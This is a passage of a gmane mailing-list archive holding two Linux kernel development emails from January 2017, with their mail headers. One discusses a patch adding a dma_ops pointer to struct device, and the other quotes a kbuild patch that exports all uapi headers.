 rVZ0QwbTEctGUCeVY3vY59lkqmJyRtQLXbQGmBhDa3eRNM 
X-Microsoft-Exchange-Diagnostics: 1; DM2PR02MB1420;
	31:bep4AIIkg4P8AGr5nPW1BPXyygkME5H5dobK8bRXd1+rhX/DL0YnbtMvHRAeYnjSNDFmmFuv+Wsmb9RYPsFRgmbN7xHytmC9bTnIX4QZ2qyoBHyGWoswc6CnMDWkXLGqsfWxWHrBbU3UHSJyC4MzSOEjGPGonhhagj9m3PAk4fMLEg+ffROw8yMtTXV7mfkNbTtQkmdKtcxLcjlbv2Tb5W5aaajjM7YBz644rF8lDLdbfJd67GxPgmzRyVzLKW5Nhx7HpVnwFO/CW2Ly5/LkKw==;
	20:Na0djQAk45CmUQJEjMl6Nn7HDnxl7nccpATmXDx5AqtBFK3yZWlssDSo2pAvcrQSAuvz3Ww2+p1jNJAgkzjR4wPmn8fG1PloNXnvg2mLaLeu0O23FRgar9IldvL3FinwAc4j9smAGwvOlGwlXS4EfLhjQKgo89bN4dg+K86NA6T/kxitxzQv7txoRcJStZwhlchMArGKHMbqOBidFzMJ0nohfz1Y5k+rkojZvxaIcfjJBFWxi/eNaCfbe3RRu7qv1wYBmXHjsSkuGAVgUDGzl2jYnZoq8vKsPO2KZYf67HDp9RqNj7ArfSlBS6F4I5611CBtRGOrPYZZ9V+WfWbtRUpmQCP9JJNkvC1WiR1IKxb0UnKJ3Q1uPHMMxl9UhbVyXtru+wAqlw20Gx+DUkbNdV9QINHsEsOQjY/KwDLMpCe8WXHdyxK90sKKo9QJv4rkPJe0RQEmaCGs233MpZ2XDcj9C9tcDcA2YK0KIouq1S744JbvkN6N4+ulltPrNfAW
X-Microsoft-Antispam-PRVS: <DM2PR02MB14205EF50D9FB1B6B394B89C81660-OXwcBrAszUPDTssI8G3P4KnrV9Ap65cLvxpqHgZTriW3zl9H0oFU5g@public.gmane.org>
X-Exchange-Antispam-Report-Test: UriScan:(42932892334569);
X-Exchange-Antispam-Report-CFA-Test: BCL:0; PCL:0;
	RULEID:(6040375)(601004)(2401047)(13015025)(13017025)(13023025)(13024025)(13018025)(5005006)(8121501046)(3002001)(10201501046)(6055026)(6041248)(20161123560025)(20161123558021)(20161123555025)(20161123562025)(20161123564025)(6042181)(6072148);
	SRVR:DM2PR02MB1420; BCL:0; PCL:0; RULEID:; SRVR:DM2PR02MB1420; 
X-Microsoft-Exchange-Diagnostics: 1; DM2PR02MB1420;
	4:6zAohKeBv/wO0grUIOFiKg6X9JFKLA0gdWVzgxXgW0XDdYhbz2IC/twgcz4RtxPNISnCpSO0w1rEccgGzn+eZXkjkKrPYMz7tcUIO53RfZ/ZNUF0x4naYirNKDhtKcppoY/su7z9TFZ2T/jCmVWDgtjSPvi536zMx4atG7gXvyE9SlHTlEjkRcWnyWR3OzW9/FeYAl/jPb3o/Qy8ftNeiJXbb8Vu3uJ8YFkIoxHoowKVdBHukvg0eSV4XwcNyEaTHq3iRTJ4hWnFT+XT4YHc5sQvU1W7saCaf/WXKeddwoB8gX8b15HXhWrngvCNxnf4ld92eeYKXXGkDENL1NbEchmDYsZ23SIcg/++HBqwoPZZhl7stycpH+wAhKThEldL2Q8DXy5UYO5H27k8V3OELhsBeOvmVSF21enVXfoFBYS1D2dxlYjpdw9xw/1haPiFprThJhTZsL9zH8xDiGQI0DdkS1RwEAfh9RTk4R6RSCGoM06GoPh8Kyzl+viBd2beG6Nt8It23XU0xiFn6jN7TqZ9wH5kkQSNCmPQB//9hN3vEG1M6GigRqzxbmNl78D6ZppKBcQgv7Mh9P+EOJqTZPXpOtnSGhA3slUyjDkzN7oyCRurV84sAXe3d+q+mWW+XCL770GZMUHLXy7Tlxz++jsT6Wmq+Qx0m6jOrnwOzOSpK2M05kLrgv5fxzrTYWO3wg+/jExHIi2MHxUOQOsCgoXJ9Bp94UBBxYZBvAxPJH7qW5xqAUBfSFIe4/tldUQAikzaCiqI/RD0fPuYiyW0tvgC6xJ4+
 iGZooWdP59AjFo=
X-Forefront-PRVS: 01842C458A
X-Microsoft-Exchange-Diagnostics: =?iso-8859-1?Q?1; DM2PR02MB1420;
	23:Ns/UaVdgwB1KPP92givpQAesbvV2wuFsykVFOa0?=
	=?iso-8859-1?Q?VBV6UcZb8ob/6kU/24Bc3LukyKsHIMUktPFTTzRjZuN0nOqY1d5UownZ32?=
	=?iso-8859-1?Q?BHfnroA3F2obOEcz52Oz29hX81V71buwYIpjEyQOg8YqxOIoqQL1Wg5rd5?=
	=?iso-8859-1?Q?K/F0jJB6y+MBvTUi8Bc81s1HroDMZLmJKCd326tV2DooEMCGszUzIh8EMz?=
	=?iso-8859-1?Q?nuB5x1pZcUG+pB8SZxgTbISJNXPvSFprkIUq2Vy70ja8YQ+tnKOmS5qqcR?=
	=?iso-8859-1?Q?vLaeycvDle7bMCeuWlD4T4XzcO0VLuH0oxMEPPof5l+RcxBn6UrhnNaWEK?=
	=?iso-8859-1?Q?pyqDNmAc/B3RfmN6ZUgniKRveNwxEFCclcWGns1FYLlOm34ef7VCpcusxt?=
	=?iso-8859-1?Q?iurcl0lmFvfGXh2tF3ow95auiWXiaZG4uPXfS2GlHlkkobi2z6fxu++pi+?=
	=?iso-8859-1?Q?p61t3Xhil6zPGakPyo1yjuGh5nLqkZmyDxUJF7lh9eJiItmFEByX58yhI6?=
	=?iso-8859-1?Q?uAx+8waIMeZK1NqKQeZrHdljuU2wZ48wNeXynVaRyZFNkNdDEH70ciGuE6?=
	=?iso-8859-1?Q?XD3DQV10qXAcfuCD/tuF/CygUcA7QhVA6DhIdz0x4wj6jVbviqwCl0msWw?=
	=?iso-8859-1?Q?R 
X-Microsoft-Exchange-Diagnostics: 1; DM2PR02MB1420;
	6:PyPXl+t3DExGhHJdDKdgU32OL9P8YSxQr8KIzR83BbaovMXTzTBhRbNMYgH5v1uPk9fiy2UeCQtcxDmjFzVpQxycpYp7EHiIz7atr4UyB3RJgFNJLxXjqTNGDz3slUml7GtfOEIb/HK5TlIVSjasRhyWwcE/IoiaFU+Yh8dFHDnaJmri6tuienkji7dGAWS7iEsgA6XJeO1BW2vyF4mz0Fu2nlCZb8MtzjINhkPyyl28mK6++sXEP2Y2A4MZvq2ZNWgjnYXzBywhfxm3TI2ZPmkmATr6DpTHSDgYbVN9sTd+2blCFxSuVZQ8fa2/oiz33/NQ2LL2cW20dnNJOiTbsL0kbRmYwR2+H/qz0N/RLoKvonnylLVJXQCF4I+RxOiphtG8GXFv6/cT0STiLYr6KGtlgAewFKt3zT6DbHLSXjJ0Clmj34hmKf32YoVDhiB3S7kM6GvrW2dkhpoEataEeQ==;
	5:/DXcujG9a0E54DRZ/lJmKMtDHWbabR0tpr+vlk+R63sFv2ReluGT2XScvOIIzuQrOUedKxDE0r7uFj7fP/7H3iz4rTt1m0CbTakRfEl7D/2vN43kFpZq8RqHvRfozTK04+Wt5UWpT8IwZ/bLggYJ/NL7EzsHBNV59sOVBZxmC/E=;
	24:zw22iZ4a3cIDU+PRcz4z0wV0cElIYQVoj+UppZs17/tYlr3eMahZcF34JgRU3ZCiOkwSqkqZUpVDnCGqMIVJmWhdvxlrncbBf7o34C3hsqQ=
SpamDiagnosticOutput: 1:99
SpamDiagnosticMetadata: NSPM
X-Microsoft-Exchange-Diagnostics: 1; DM2PR02MB1420;
	7:90owzAauLgGuQjguvIuYjP77f/jtHXrUd4NtOGqDOPgjgzxXffDOTi1YZ2fIS7FgQnAT1nMHtTJ4aDc57Ff6XYJmgwLimzyOU7QkT4Z3IMPkWhBicYaCxXVfgo+o2b7VIfopZzjd4HMFjKyleXWImNrocxijye7d3zAswd512KUW6TU/YfbQ9cJXFeTyIZu7SdfCSfoodCPhiHrMxGs2+kyq6z9TQ0tXW1q2LfOp+riaIZe/zgcKSksinkaRIJY/xWa2hBTuLJqdCzMBrKuSy6UKXb/kVlrZKFH/dJClwZuCLcyPMC4K5Bi+ee/tkV8/LeFgDihLNRLPeKQ5mniLYt+eGzw34t/ciED8i7D3xhRnWp6S65figdXhjAGyBigR6034nwIO1mnTkR7r8NIc4SYPkTKEnmkEoempZheBT4oHJLldNiSggjvQNV9tMtPws8dznSjpQTVU9P1p6qMYfg==
X-OriginatorOrg: sandisk.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 11 Jan 2017 18:03:17.7301 (UTC)
X-MS-Exchange-CrossTenant-Id: fcd9ea9c-ae8c-460c-ab3c-3db42d7ac64d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=fcd9ea9c-ae8c-460c-ab3c-3db42d7ac64d;
	Ip=[74.221.232.54]; Helo=[sacsmgep14.sandisk.com]
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DM2PR02MB1420
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:16580 gmane.linux.ports.mips.general:57439 gmane.linux.ports.ia64:27577 gmane.linux.ports.sparc:24344 gmane.linux.drivers.rdma:45450 gmane.linux.ports.hexagon:1097 gmane.linux.ports.sh.devel:55011 gmane.linux.kernel.pci:58120 gmane.linux.kernel.arc:1993 gmane.linux.ports.alpha:4019 gmane.linux.kernel.metag:1220 gmane.linux.ports.arm.kernel:549813 gmane.linux.ports.parisc:27168 gmane.linux.kernel:2385802 gmane.linux.ports.ppc64.devel:137156
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/16580>

On Wed, 2017-01-11 at 07:46 +0100, Greg Kroah-Hartman wrote:
> On Tue, Jan 10, 2017 at 04:56:41PM -0800, Bart Van Assche wrote:
> > Several RDMA drivers, e.g. drivers/infiniband/hw/qib, use the CPU to
> > transfer data between memory and PCIe adapter. Because of performance
> > reasons it is important that the CPU cache is not flushed when such
> > drivers transfer data. Make this possible by allowing these drivers to
> > override the dma_map_ops pointer. Additionally, introduce the function
> > set_dma_ops() that will be used by a later patch in this series.
> > =

> > Signed-off-by: Bart Van Assche <bart.vanassche-XdAiOPVOjttBDgjK7y7TUQ@public.gmane.org>
> > Cc: [ ... ]
> =

> That's a crazy cc: list, you should break this up into smaller pieces,
> otherwise it's going to bounce...

That's a subset of what scripts/get_maintainer.pl came up with. Suggestions
for a more appropriate cc-list for a patch like this that touches all
architectures would be welcome.

> > diff --git a/include/linux/device.h b/include/linux/device.h
> > index 491b4c0ca633..c7cb225d36b0 100644
> > --- a/include/linux/device.h
> > +++ b/include/linux/device.h
> > @@ -885,6 +885,8 @@ struct dev_links_info {
> > =A0 * a higher-level representation of the device.
> > =A0 */
> > =A0struct device {
> > +	const struct dma_map_ops *dma_ops; /* See also get_dma_ops() */
> > +
> > =A0	struct device		*parent;
> > =A0
> > =A0	struct device_private	*p;
> =

> Why not put this new pointer down with the other dma fields in this
> structure?=A0=A0Any specific reason it needs to be first?

Are there CPU architectures for which access to the first member of a
structure can be encoded and/or executed more efficiently than access to
other members of a structure? If not, I'm fine with moving the new pointer
further down.

Bart.

From - Thu Nov 08 21:39:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mark Salter <msalter@redhat.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.mips.general,gmane.linux.alsa.devel,gmane.linux.ports.ia64,gmane.linux.documentation,gmane.comp.video.dri.devel,gmane.linux.drivers.mtd,gmane.linux.ports.sparc,gmane.linux.drivers.rdma,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.scsi.open-fcoe.devel,gmane.linux.kernel.arc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.kbuild.devel,gmane.linux.raid,gmane.linux.ports.m68k,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.nfs,gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel.mmc,gmane.linux.kernel,gmane.linux.kernel.spi.devel,gmane.comp.security.firewalls.netfilter.devel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [Linux-c6x-dev] [PATCH v2 7/7] uapi: export all headers under
 uapi directories
Date: Wed, 11 Jan 2017 13:14:41 -0500
Organization: Red Hat, Inc
Lines: 2635
Approved: news@gmane.org
Message-ID: <1484158481.6398.1.camel@redhat.com>
References: <bf83da6b-01ef-bf44-b3e1-ca6fc5636818@6wind.com>
         <1483695839-18660-1-git-send-email-nicolas.dichtel@6wind.com>
         <1483695839-18660-8-git-send-email-nicolas.dichtel@6wind.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1484158512 12463 195.159.176.226 (11 Jan 2017 18:15:12 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 11 Jan 2017 18:15:12 +0000 (UTC)
Cc: linux-mips@linux-mips.org, alsa-devel@alsa-project.org,
        linux-ia64@vger.kernel.org, linux-doc@vger.kernel.org,
        airlied@linux.ie, linux-fbdev@vger.kernel.org,
        dri-devel@lists.freedesktop.org, linux-mtd@lists.infradead.org,
        sparclinux@vger.kernel.org, linux-arch@vger.kernel.org,
        linux-s390@vger.kernel.org, linux-am33-list@redhat.com,
        linux-c6x-dev@linux-c6x.org, linux-rdma@vger.kernel.org,
        linux-hexagon@vger.kernel.org, linux-sh@vger.kernel.org,
        coreteam@netfilter.org, fcoe-devel@open-fcoe.org,
        xen-devel@lists.xenproject.org, linux-snps-arc@lists.infradead.org,
        linux-media@vger.kernel.org, uclinux-h8-devel@lists.sourceforge.jp,
        linux-xtensa@linux-xtensa.org, linux-kbuild@vger.kernel.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-raid@vger.kernel.org, linux-m68k@vger.kernel.org
To: Nicolas Dichtel <nicolas.dichtel@6wind.com>, arnd@arndb.de
Original-X-From: linux-arch-owner@vger.kernel.org Wed Jan 11 19:15:00 2017
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1cRNQF-0001yI-Ii
	for glka-linux-arch@m.gmane.org; Wed, 11 Jan 2017 19:14:56 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S939280AbdAKSOz (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
        Wed, 11 Jan 2017 13:14:55 -0500
Original-Received: from mx1.redhat.com ([209.132.183.28]:33246 "EHLO mx1.redhat.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S935558AbdAKSOu (ORCPT <rfc822;linux-arch@vger.kernel.org>);
        Wed, 11 Jan 2017 13:14:50 -0500
Original-Received: from smtp.corp.redhat.com (int-mx16.intmail.prod.int.phx2.redhat.com [10.5.11.28])
        (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))
        (No client certificate requested)
        by mx1.redhat.com (Postfix) with ESMTPS id EBBEF61BA6;
        Wed, 11 Jan 2017 18:14:49 +0000 (UTC)
Original-Received: from ovpn-117-85.rdu2.redhat.com (ovpn-117-85.rdu2.redhat.com [10.10.117.85])
        by smtp.corp.redhat.com (Postfix) with ESMTP id 9C7702D5C4;
        Wed, 11 Jan 2017 18:14:44 +0000 (UTC)
In-Reply-To: <1483695839-18660-8-git-send-email-nicolas.dichtel@6wind.com>
X-Scanned-By: MIMEDefang 2.74 on 10.5.11.28
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16 (mx1.redhat.com [10.5.110.39]); Wed, 11 Jan 2017 18:14:50 +0000 (UTC)
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:34744 gmane.linux.ports.mips.general:57440 gmane.linux.alsa.devel:163065 gmane.linux.ports.ia64:27578 gmane.linux.documentation:44203 gmane.comp.video.dri.devel:176043 gmane.linux.drivers.mtd:71262 gmane.linux.ports.sparc:24346 gmane.linux.drivers.rdma:45452 gmane.linux.ports.hexagon:1098 gmane.linux.ports.sh.devel:55012 gmane.linux.scsi.open-fcoe.devel:13007 gmane.linux.kernel.arc:1994 gmane.linux.drivers.video-input-infrastructure:111849 gmane.linux.kbuild.devel:16295 gmane.linux.raid:55351 gmane.linux.ports.m68k:9123 gmane.linux.kernel.metag:1221 gmane.linux.ports.arm.kernel:549816 gmane.linux.nfs:81380 gmane.linux.ports.parisc:27169 gmane.linux.network:449545 gmane.linux.kernel.mmc:42126 gmane.linux.kernel:2385815 gmane.linux.kernel.spi.devel:26088 gmane.comp.security.firewalls.netfilter.devel:66826 gmane.linux.ports.alpha:4020 gmane.linux.ports.ppc64.devel:137157
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/34744>

On Fri, 2017-01-06 at 10:43 +0100, Nicolas Dichtel wrote:
> Regularly, when a new header is created in include/uapi/, the developer
> forgets to add it in the corresponding Kbuild file. This error is usually
> detected after the release is out.
> 
> In fact, all headers under uapi directories should be exported, thus it's
> useless to have an exhaustive list.
> 
> After this patch, the following files, which were not exported, are now
> exported (with make headers_install_all):
> asm-unicore32/shmparam.h
> asm-unicore32/ucontext.h
> asm-hexagon/shmparam.h
> asm-mips/ucontext.h
> asm-mips/hwcap.h
> asm-mips/reg.h
> drm/vgem_drm.h
> drm/armada_drm.h
> drm/omap_drm.h
> drm/etnaviv_drm.h
> asm-tile/shmparam.h
> asm-blackfin/shmparam.h
> asm-blackfin/ucontext.h
> asm-powerpc/perf_regs.h
> rdma/qedr-abi.h
> asm-parisc/kvm_para.h
> asm-openrisc/shmparam.h
> asm-nios2/kvm_para.h
> asm-nios2/ucontext.h
> asm-sh/kvm_para.h
> asm-sh/ucontext.h
> asm-xtensa/kvm_para.h
> asm-avr32/kvm_para.h
> asm-m32r/kvm_para.h
> asm-h8300/shmparam.h
> asm-h8300/ucontext.h
> asm-metag/kvm_para.h
> asm-metag/shmparam.h
> asm-metag/ucontext.h
> asm-m68k/kvm_para.h
> asm-m68k/shmparam.h
> linux/bcache.h
> linux/kvm.h
> linux/kvm_para.h
> linux/kfd_ioctl.h
> linux/cryptouser.h
> linux/kcm.h
> linux/kcov.h
> linux/seg6_iptunnel.h
> linux/stm.h
> linux/genwqe
> linux/genwqe/.install
> linux/genwqe/genwqe_card.h
> linux/genwqe/..install.cmd
> linux/seg6.h
> linux/cifs
> linux/cifs/.install
> linux/cifs/cifs_mount.h
> linux/cifs/..install.cmd
> linux/auto_dev-ioctl.h
> 
> Thanks to Julien Floret <julien.floret@6wind.com> for the tip to get all
> subdirs with a pure makefile command.
> 
> Signed-off-by: Nicolas Dichtel <nicolas.dichtel@6wind.com>
> ---
>  Documentation/kbuild/makefiles.txt          |  41 ++-
>  arch/alpha/include/uapi/asm/Kbuild          |  41 ---
>  arch/arc/include/uapi/asm/Kbuild            |   3 -
>  arch/arm/include/uapi/asm/Kbuild            |  17 -
>  arch/arm64/include/uapi/asm/Kbuild          |  18 --
>  arch/avr32/include/uapi/asm/Kbuild          |  20 --
>  arch/blackfin/include/uapi/asm/Kbuild       |  17 -
>  arch/c6x/include/uapi/asm/Kbuild            |   8 -
>  arch/cris/include/uapi/arch-v10/arch/Kbuild |   5 -
>  arch/cris/include/uapi/arch-v32/arch/Kbuild |   3 -
>  arch/cris/include/uapi/asm/Kbuild           |  43 +--
>  arch/frv/include/uapi/asm/Kbuild            |  33 --
>  arch/h8300/include/uapi/asm/Kbuild          |  28 --
>  arch/hexagon/include/asm/Kbuild             |   3 -
>  arch/hexagon/include/uapi/asm/Kbuild        |  13 -
>  arch/ia64/include/uapi/asm/Kbuild           |  45 ---
>  arch/m32r/include/uapi/asm/Kbuild           |  31 --
>  arch/m68k/include/uapi/asm/Kbuild           |  24 --
>  arch/metag/include/uapi/asm/Kbuild          |   8 -
>  arch/microblaze/include/uapi/asm/Kbuild     |  32 --
>  arch/mips/include/uapi/asm/Kbuild           |  37 ---
>  arch/mn10300/include/uapi/asm/Kbuild        |  32 --
>  arch/nios2/include/uapi/asm/Kbuild          |   4 +-
>  arch/openrisc/include/asm/Kbuild            |   3 -
>  arch/openrisc/include/uapi/asm/Kbuild       |   8 -
>  arch/parisc/include/uapi/asm/Kbuild         |  28 --
>  arch/powerpc/include/uapi/asm/Kbuild        |  45 ---
>  arch/s390/include/uapi/asm/Kbuild           |  52 ---
>  arch/score/include/asm/Kbuild               |   4 -
>  arch/score/include/uapi/asm/Kbuild          |  32 --
>  arch/sh/include/uapi/asm/Kbuild             |  23 --
>  arch/sparc/include/uapi/asm/Kbuild          |  48 ---
>  arch/tile/include/asm/Kbuild                |   3 -
>  arch/tile/include/uapi/arch/Kbuild          |  17 -
>  arch/tile/include/uapi/asm/Kbuild           |  19 +-
>  arch/unicore32/include/uapi/asm/Kbuild      |   6 -
>  arch/x86/include/uapi/asm/Kbuild            |  59 ----
>  arch/xtensa/include/uapi/asm/Kbuild         |  23 --
>  include/Kbuild                              |   2 -
>  include/asm-generic/Kbuild.asm              |   1 -
>  include/scsi/fc/Kbuild                      |   0
>  include/uapi/Kbuild                         |  15 -
>  include/uapi/asm-generic/Kbuild             |  36 ---
>  include/uapi/asm-generic/Kbuild.asm         |  62 ++--
>  include/uapi/drm/Kbuild                     |  22 --
>  include/uapi/linux/Kbuild                   | 482 ----------------------------
>  include/uapi/linux/android/Kbuild           |   2 -
>  include/uapi/linux/byteorder/Kbuild         |   3 -
>  include/uapi/linux/caif/Kbuild              |   3 -
>  include/uapi/linux/can/Kbuild               |   6 -
>  include/uapi/linux/dvb/Kbuild               |   9 -
>  include/uapi/linux/hdlc/Kbuild              |   2 -
>  include/uapi/linux/hsi/Kbuild               |   2 -
>  include/uapi/linux/iio/Kbuild               |   3 -
>  include/uapi/linux/isdn/Kbuild              |   2 -
>  include/uapi/linux/mmc/Kbuild               |   2 -
>  include/uapi/linux/netfilter/Kbuild         |  89 -----
>  include/uapi/linux/netfilter/ipset/Kbuild   |   5 -
>  include/uapi/linux/netfilter_arp/Kbuild     |   3 -
>  include/uapi/linux/netfilter_bridge/Kbuild  |  18 --
>  include/uapi/linux/netfilter_ipv4/Kbuild    |  10 -
>  include/uapi/linux/netfilter_ipv6/Kbuild    |  13 -
>  include/uapi/linux/nfsd/Kbuild              |   6 -
>  include/uapi/linux/raid/Kbuild              |   3 -
>  include/uapi/linux/spi/Kbuild               |   2 -
>  include/uapi/linux/sunrpc/Kbuild            |   2 -
>  include/uapi/linux/tc_act/Kbuild            |  15 -
>  include/uapi/linux/tc_ematch/Kbuild         |   5 -
>  include/uapi/linux/usb/Kbuild               |  12 -
>  include/uapi/linux/wimax/Kbuild             |   2 -
>  include/uapi/misc/Kbuild                    |   2 -
>  include/uapi/mtd/Kbuild                     |   6 -
>  include/uapi/rdma/Kbuild                    |  18 --
>  include/uapi/rdma/hfi/Kbuild                |   2 -
>  include/uapi/scsi/Kbuild                    |   6 -
>  include/uapi/scsi/fc/Kbuild                 |   5 -
>  include/uapi/sound/Kbuild                   |  16 -
>  include/uapi/video/Kbuild                   |   4 -
>  include/uapi/xen/Kbuild                     |   5 -
>  include/video/Kbuild                        |   0
>  scripts/Makefile.headersinst                |  39 +--
>  81 files changed, 73 insertions(+), 1745 deletions(-)
>  delete mode 100644 arch/cris/include/uapi/arch-v10/arch/Kbuild
>  delete mode 100644 arch/cris/include/uapi/arch-v32/arch/Kbuild
>  delete mode 100644 arch/tile/include/uapi/arch/Kbuild
>  delete mode 100644 include/Kbuild
>  delete mode 100644 include/asm-generic/Kbuild.asm
>  delete mode 100644 include/scsi/fc/Kbuild
>  delete mode 100644 include/uapi/Kbuild
>  delete mode 100644 include/uapi/asm-generic/Kbuild
>  delete mode 100644 include/uapi/drm/Kbuild
>  delete mode 100644 include/uapi/linux/Kbuild
>  delete mode 100644 include/uapi/linux/android/Kbuild
>  delete mode 100644 include/uapi/linux/byteorder/Kbuild
>  delete mode 100644 include/uapi/linux/caif/Kbuild
>  delete mode 100644 include/uapi/linux/can/Kbuild
>  delete mode 100644 include/uapi/linux/dvb/Kbuild
>  delete mode 100644 include/uapi/linux/hdlc/Kbuild
>  delete mode 100644 include/uapi/linux/hsi/Kbuild
>  delete mode 100644 include/uapi/linux/iio/Kbuild
>  delete mode 100644 include/uapi/linux/isdn/Kbuild
>  delete mode 100644 include/uapi/linux/mmc/Kbuild
>  delete mode 100644 include/uapi/linux/netfilter/Kbuild
>  delete mode 100644 include/uapi/linux/netfilter/ipset/Kbuild
>  delete mode 100644 include/uapi/linux/netfilter_arp/Kbuild
>  delete mode 100644 include/uapi/linux/netfilter_bridge/Kbuild
>  delete mode 100644 include/uapi/linux/netfilter_ipv4/Kbuild
>  delete mode 100644 include/uapi/linux/netfilter_ipv6/Kbuild
>  delete mode 100644 include/uapi/linux/nfsd/Kbuild
>  delete mode 100644 include/uapi/linux/raid/Kbuild
>  delete mode 100644 include/uapi/linux/spi/Kbuild
>  delete mode 100644 include/uapi/linux/sunrpc/Kbuild
>  delete mode 100644 include/uapi/linux/tc_act/Kbuild
>  delete mode 100644 include/uapi/linux/tc_ematch/Kbuild
>  delete mode 100644 include/uapi/linux/usb/Kbuild
>  delete mode 100644 include/uapi/linux/wimax/Kbuild
>  delete mode 100644 include/uapi/misc/Kbuild
>  delete mode 100644 include/uapi/mtd/Kbuild
>  delete mode 100644 include/uapi/rdma/Kbuild
>  delete mode 100644 include/uapi/rdma/hfi/Kbuild
>  delete mode 100644 include/uapi/scsi/Kbuild
>  delete mode 100644 include/uapi/scsi/fc/Kbuild
>  delete mode 100644 include/uapi/sound/Kbuild
>  delete mode 100644 include/uapi/video/Kbuild
>  delete mode 100644 include/uapi/xen/Kbuild
>  delete mode 100644 include/video/Kbuild
> 
> diff --git a/Documentation/kbuild/makefiles.txt b/Documentation/kbuild/makefiles.txt
> index 37b525d329ae..53e31061ff18 100644
> --- a/Documentation/kbuild/makefiles.txt
> +++ b/Documentation/kbuild/makefiles.txt
> @@ -44,7 +44,7 @@ This document describes the Linux kernel Makefiles.
>  	   --- 6.11 Post-link pass
>  
>  	=== 7 Kbuild syntax for exported headers
> -		--- 7.1 header-y
> +		--- 7.1 subdir-y
>  		--- 7.2 genhdr-y
>  		--- 7.3 generic-y
>  		--- 7.4 generated-y
> @@ -1235,7 +1235,7 @@ When kbuild executes, the following steps are followed (roughly):
>  	that may be shared between individual architectures.
>  	The recommended approach how to use a generic header file is
>  	to list the file in the Kbuild file.
> -	See "7.4 generic-y" for further info on syntax etc.
> +	See "7.3 generic-y" for further info on syntax etc.
>  
>  --- 6.11 Post-link pass
>  
> @@ -1262,37 +1262,36 @@ The pre-processing does:
>  - drop include of compiler.h
>  - drop all sections that are kernel internal (guarded by ifdef __KERNEL__)
>  
> -Each relevant directory contains a file name "Kbuild" which specifies the
> -headers to be exported.
> +All headers under include/uapi/, include/generated/uapi/,
> +arch/<arch>/include/uapi/asm/ and arch/<arch>/include/generated/uapi/asm/
> +are exported.
> +
> +A Kbuild file may be defined under arch/<arch>/include/uapi/asm/ and
> +arch/<arch>/include/asm/ to list asm files coming from asm-generic.
>  See subsequent chapter for the syntax of the Kbuild file.
>  
> -	--- 7.1 header-y
> +	--- 7.1 subdir-y
>  
> -	header-y specifies header files to be exported.
> +	subdir-y may be used to specify a subdirectory to be exported.
>  
>  		Example:
> -			#include/linux/Kbuild
> -			header-y += usb/
> -			header-y += aio_abi.h
> +			#arch/cris/include/uapi/asm/Kbuild
> +			subdir-y += ../arch-v10/arch/
> +			subdir-y += ../arch-v32/arch/
>  
> -	The convention is to list one file per line and
> +	The convention is to list one subdir per line and
>  	preferably in alphabetic order.
>  
> -	header-y also specifies which subdirectories to visit.
> -	A subdirectory is identified by a trailing '/' which
> -	can be seen in the example above for the usb subdirectory.
> -
> -	Subdirectories are visited before their parent directories.
> -
>  	--- 7.2 genhdr-y
>  
> -	genhdr-y specifies generated files to be exported.
> -	Generated files are special as they need to be looked
> -	up in another directory when doing 'make O=...' builds.
> +	genhdr-y specifies asm files to be generated.
>  
>  		Example:
> -			#include/linux/Kbuild
> -			genhdr-y += version.h
> +			#arch/x86/include/uapi/asm/Kbuild
> +			genhdr-y += unistd_32.h
> +			genhdr-y += unistd_64.h
